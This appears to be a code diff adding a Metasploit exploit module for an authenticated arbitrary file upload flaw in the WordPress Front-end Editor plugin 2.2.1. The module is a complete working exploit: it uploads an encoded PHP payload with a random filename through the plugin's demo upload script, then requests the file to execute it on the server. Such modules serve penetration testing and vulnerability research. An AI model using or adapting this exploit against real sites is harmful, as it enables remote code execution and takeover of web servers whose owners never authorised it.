|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Wordpress Front-end Editor File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + The Wordpress Front-end Editor plugin contains an authenticated file upload |
| 20 | + vulnerability. We can upload arbitrary files to the upload folder, because |
| 21 | + the plugin also uses it's own file upload mechanism instead of the wordpress |
| 22 | + api it's possible to upload any file type. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Sammy', # Vulnerability discovery |
| 27 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['OSVDB', '83637'], |
| 33 | + ['WPVDB', '7569'], |
| 34 | + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html'] |
| 35 | + ], |
| 36 | + 'Privileged' => false, |
| 37 | + 'Platform' => ['php'], |
| 38 | + 'Arch' => ARCH_PHP, |
| 39 | + 'Targets' => [['Front-End Editor 2.2.1', {}]], |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Jul 04 2012')) |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + check_plugin_version_from_readme('front-end-editor', '2.3') |
| 46 | + end |
| 47 | + |
| 48 | + def exploit |
| 49 | + print_status("#{peer} - Trying to upload payload") |
| 50 | + filename = "#{rand_text_alpha_lower(5)}.php" |
| 51 | + |
| 52 | + print_status("#{peer} - Uploading payload") |
| 53 | + res = send_request_cgi( |
| 54 | + 'method' => 'POST', |
| 55 | + 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'), |
| 56 | + 'ctype' => 'application/octet-stream', |
| 57 | + 'headers' => { |
| 58 | + 'X-File-Name' => "#{filename}" |
| 59 | + }, |
| 60 | + 'data' => payload.encoded |
| 61 | + ) |
| 62 | + |
| 63 | + if res |
| 64 | + if res.code == 200 |
| 65 | + register_files_for_cleanup(filename) |
| 66 | + else |
| 67 | + fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") |
| 68 | + end |
| 69 | + else |
| 70 | + fail_with(Failure::Unknown, 'Server did not respond in an expected way') |
| 71 | + end |
| 72 | + |
| 73 | + print_status("#{peer} - Calling uploaded file #{filename}") |
| 74 | + send_request_cgi( |
| 75 | + { 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") }, |
| 76 | + 5 |
| 77 | + ) |
| 78 | + end |
| 79 | +end |
0 commit comments